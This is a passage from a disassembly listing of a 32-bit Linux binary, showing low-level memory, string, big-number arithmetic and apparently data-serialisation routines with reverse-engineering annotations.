		mov	__errno, 0Ch

loc_8066222:				; CODE XREF: sub_80661E8+Fj
		mov	eax, 0FFFFFFFFh

loc_8066227:				; CODE XREF: sub_80661E8+2Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80661E8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066230	proc near		; CODE XREF: sub_8065DE0+7p
					; sub_80661E8+8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	dword_8079280, 0
		jnz	short loc_8066260
		mov	eax, 2Dh
		xor	ebx, ebx
		int	80h		; LINUX	- sys_brk
		mov	dword_8079280, eax
		test	eax, eax
		jnz	short loc_8066260
		mov	__errno, 0Ch
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8066262
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066260:				; CODE XREF: sub_8066230+Bj
					; sub_8066230+1Dj
		xor	eax, eax

loc_8066262:				; CODE XREF: sub_8066230+2Ej
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8066230	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806626C	proc near		; CODE XREF: sub_805CCB0+46p
					; sub_805CE84+ECp ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_80662A0
		xor	eax, eax
		cld
		cmp	ebx, 0Bh
		jle	short loc_806629C
		mov	edx, edi
		neg	edx
		and	edx, 3
		sub	ebx, edx
		mov	ecx, edx
		repe stosb
		mov	edx, ebx
		shr	edx, 2
		mov	ecx, edx
		repe stosd
		and	ebx, 3

loc_806629C:				; CODE XREF: sub_806626C+15j
		mov	ecx, ebx
		repe stosb

loc_80662A0:				; CODE XREF: sub_806626C+Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806626C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 7 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80662B0	proc near		; CODE XREF: sub_8063688+42p
					; sub_8063688+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ecx, edx
		and	ecx, 3
		jz	short loc_80662F3
		cmp	[edx], ch
		jz	loc_806636E
		inc	eax
		xor	ecx, 3
		jz	short loc_80662F3
		cmp	[edx+1], ch
		jz	loc_806636E
		inc	eax
		dec	ecx
		jz	short loc_80662F3
		cmp	[edx+2], ch
		jz	loc_806636E
		inc	eax
		jmp	short loc_80662F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h, 8Dh, 0B4h,	26h, 4 dup(0)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80662F0:				; CODE XREF: sub_80662B0+A0j
		add	eax, 10h

loc_80662F3:				; CODE XREF: sub_80662B0+Ej
					; sub_80662B0+1Cj ...
		mov	ecx, [edx+eax]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_806635B
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_806635B
		mov	ecx, [edx+eax+4]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8066358
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8066358
		mov	ecx, [edx+eax+8]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8066355
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_8066355
		mov	ecx, [edx+eax+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_8066352
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	short loc_80662F0

loc_8066352:				; CODE XREF: sub_80662B0+95j
		add	eax, 4

loc_8066355:				; CODE XREF: sub_80662B0+7Dj
					; sub_80662B0+88j
		add	eax, 4

loc_8066358:				; CODE XREF: sub_80662B0+65j
					; sub_80662B0+70j
		add	eax, 4

loc_806635B:				; CODE XREF: sub_80662B0+4Dj
					; sub_80662B0+58j
		test	cl, cl
		jz	short loc_806636E
		inc	eax
		test	ch, ch
		jz	short loc_806636E
		inc	eax
		test	ecx, 0FF0000h
		jz	short loc_806636E
		inc	eax

loc_806636E:				; CODE XREF: sub_80662B0+12j
					; sub_80662B0+21j ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80662B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0Bh dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066380	proc near		; CODE XREF: sub_8058094+565p
					; sub_805876C+18Fp ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	eax, ecx
		shr	ecx, 3
		neg	eax
		and	eax, 7
		jz	short loc_80663C0
		inc	ecx
		shl	eax, 2
		sub	edi, eax
		sub	esi, eax
		sub	edx, eax
		shr	eax, 2
		lea	eax, (byte_80663B3+0Ah)[eax+eax*8]
		jmp	eax
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_80663B3	db 8Dh,	0B6h, 4	dup(0),	8Dh, 0B4h, 26h,	4 dup(0)
					; DATA XREF: sub_8066380+2Ar
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80663C0:				; CODE XREF: sub_8066380+1Bj
					; sub_8066380+8Fj
		mov	eax, [esi]
		adc	eax, [edx]
		mov	[edi], eax
		mov	eax, [esi+4]
		adc	eax, [edx+4]
		mov	[edi+4], eax
		mov	eax, [esi+8]
		adc	eax, [edx+8]
		mov	[edi+8], eax
		mov	eax, [esi+0Ch]
		adc	eax, [edx+0Ch]
		mov	[edi+0Ch], eax
		mov	eax, [esi+10h]
		adc	eax, [edx+10h]
		mov	[edi+10h], eax
		mov	eax, [esi+14h]
		adc	eax, [edx+14h]
		mov	[edi+14h], eax
		mov	eax, [esi+18h]
		adc	eax, [edx+18h]
		mov	[edi+18h], eax
		mov	eax, [esi+1Ch]
		adc	eax, [edx+1Ch]
		mov	[edi+1Ch], eax
		lea	edi, [edi+20h]
		lea	esi, [esi+20h]
		lea	edx, [edx+20h]
		dec	ecx
		jnz	short loc_80663C0
		sbb	eax, eax
		neg	eax
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066380	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066420	proc near		; CODE XREF: sub_805876C+1A5p
					; sub_805876C+1FDp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	ebp
		lea	edi, [edi+ecx*4]
		lea	esi, [esi+ecx*4]
		neg	ecx
		xor	ebp, ebp
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8066440:				; CODE XREF: sub_8066420+33j
		mov	eax, [esi+ecx*4]
		mul	ebx
		add	eax, ebp
		adc	edx, 0
		add	[edi+ecx*4], eax
		adc	edx, 0
		mov	ebp, edx
		inc	ecx
		jnz	short loc_8066440
		mov	eax, ebp
		pop	ebp
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066420	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066464	proc near		; CODE XREF: sub_8066514+Fp
					; sub_8066564+Fp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	100h
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8065304
		test	eax, eax
		jz	short loc_8066488
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066488:				; CODE XREF: sub_8066464+17j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066464	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066490	proc near		; CODE XREF: sub_8066514+20p
					; sub_8066564+20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	40h
		push	eax
		push	edx
		call	sub_8065304
		test	eax, eax
		jz	short loc_80664B0
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80664B0:				; CODE XREF: sub_8066490+14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066490	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80664B8	proc near		; CODE XREF: sub_8066628+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	100h
		push	eax
		push	edx
		call	sub_8065304
		test	eax, eax
		jz	short loc_80664DC
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80664DC:				; CODE XREF: sub_80664B8+17j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80664B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80664E4	proc near		; CODE XREF: sub_8066514+31p
					; sub_80665A0+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	400h
		lea	eax, [edx+4]
		push	eax
		push	edx
		push	ecx
		call	sub_80651B8
		test	eax, eax
		jz	short loc_806650C
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806650C:				; CODE XREF: sub_80664E4+1Bj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80664E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066514	proc near		; DATA XREF: sub_805D3A8+147o
					; sub_805D814+DFo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	sub_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_8066558
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8066490
		add	esp, 8
		test	eax, eax
		jz	short loc_8066558
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_80664E4
		test	eax, eax
		jz	short loc_8066558
		mov	eax, 1
		jmp	short loc_806655A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066558:				; CODE XREF: sub_8066514+19j
					; sub_8066514+2Aj ...
		xor	eax, eax

loc_806655A:				; CODE XREF: sub_8066514+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066514	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066564	proc near		; DATA XREF: sub_805D638+BFo
					; sub_805DA10+F7o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	sub_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_8066594
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8066490
		test	eax, eax
		jz	short loc_8066594
		mov	eax, 1
		jmp	short loc_8066596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066594:				; CODE XREF: sub_8066564+19j
					; sub_8066564+27j
		xor	eax, eax

loc_8066596:				; CODE XREF: sub_8066564+2Ej
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80665A0	proc near		; DATA XREF: sub_805D3A8+13Eo
					; sub_805D3A8+231o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_80665D0
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80664E4
		test	eax, eax
		jz	short loc_80665D0
		mov	eax, 1
		jmp	short loc_80665D2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80665D0:				; CODE XREF: sub_80665A0+17j
					; sub_80665A0+25j
		xor	eax, eax

loc_80665D2:				; CODE XREF: sub_80665A0+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80665A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80665DC	proc near		; CODE XREF: sub_80666A0+29p
					; DATA XREF: sub_805D638+B6o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_806661C
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_80664E4
		add	esp, 8
		test	eax, eax
		jz	short loc_806661C
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80664E4
		test	eax, eax
		jz	short loc_806661C
		mov	eax, 1
		jmp	short loc_806661E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806661C:				; CODE XREF: sub_80665DC+17j
					; sub_80665DC+28j ...
		xor	eax, eax

loc_806661E:				; CODE XREF: sub_80665DC+3Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80665DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066628	proc near		; DATA XREF: sub_805DC70+89o
					; sub_805DC70+117o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8066658
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80664B8
		test	eax, eax
		jz	short loc_8066658
		mov	eax, 1
		jmp	short loc_806665A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066658:				; CODE XREF: sub_8066628+17j
					; sub_8066628+25j
		xor	eax, eax

loc_806665A:				; CODE XREF: sub_8066628+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066628	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066664	proc near		; DATA XREF: sub_805DB54+89o
					; sub_805DB54+B1o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8066694
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		test	eax, eax
		jz	short loc_8066694
		mov	eax, 1
		jmp	short loc_8066696
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066694:				; CODE XREF: sub_8066664+17j
					; sub_8066664+25j
		xor	eax, eax

loc_8066696:				; CODE XREF: sub_8066664+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066664	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80666A0	proc near		; CODE XREF: sub_80668AC+24p
					; DATA XREF: sub_80668AC+34o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8065098
		add	esp, 8
		test	eax, eax
		jz	short loc_80666D2
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_80666D8
		cmp	eax, 1
		jnz	short loc_80666D2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80665DC
		test	eax, eax
		jnz	short loc_80666D8

loc_80666D2:				; CODE XREF: sub_80666A0+17j
					; sub_80666A0+22j
		xor	eax, eax
		jmp	short loc_80666DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80666D8:				; CODE XREF: sub_80666A0+1Dj
					; sub_80666A0+30j
		mov	eax, 1

loc_80666DD:				; CODE XREF: sub_80666A0+34j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80666A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80666E8	proc near		; CODE XREF: sub_8066710+Dp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8066490
		test	eax, eax
		jz	short loc_8066708
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066708:				; CODE XREF: sub_80666E8+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80666E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066710	proc near		; DATA XREF: sub_8066710+19o
					; sub_8066754+19o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_80666E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8066748
		push	offset sub_8066710
		push	48h
		lea	eax, [ebx+44h]
		push	eax
		push	esi
		call	sub_8067248
		test	eax, eax
		jz	short loc_8066748
		mov	eax, 1
		jmp	short loc_806674A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066748:				; CODE XREF: sub_8066710+17j
					; sub_8066710+2Cj
		xor	eax, eax

loc_806674A:				; CODE XREF: sub_8066710+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066710	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066754	proc near		; DATA XREF: sub_805DDA8+6Do

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_806678C
		push	offset sub_8066710
		push	48h
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8067248
		test	eax, eax
		jz	short loc_806678C
		mov	eax, 1
		jmp	short loc_806678E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806678C:				; CODE XREF: sub_8066754+17j
					; sub_8066754+2Cj
		xor	eax, eax

loc_806678E:				; CODE XREF: sub_8066754+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066754	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066798	proc near		; CODE XREF: sub_8066800+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_806510C
		test	eax, eax
		jz	short loc_80667B8
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80667B8:				; CODE XREF: sub_8066798+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066798	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80667C0	proc near		; CODE XREF: sub_8066800+39p
					; sub_8066858+21p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	4
		push	ebx
		push	esi
		call	sub_8065120
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80667F4
		push	2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8065120
		test	eax, eax
		jz	short loc_80667F4
		mov	eax, 1
		jmp	short loc_80667F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80667F4:				; CODE XREF: sub_80667C0+19j
					; sub_80667C0+29j
		xor	eax, eax

loc_80667F6:				; CODE XREF: sub_80667C0+30j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80667C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066800	proc near		; DATA XREF: sub_805CE84+27Fo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8066798
		add	esp, 8
		test	eax, eax
		jz	short loc_8066842
		mov	eax, [ebx]
		cmp	eax, 1
		jz	short loc_8066834
		cmp	eax, 2
		jnz	short loc_8066842
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_806683E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
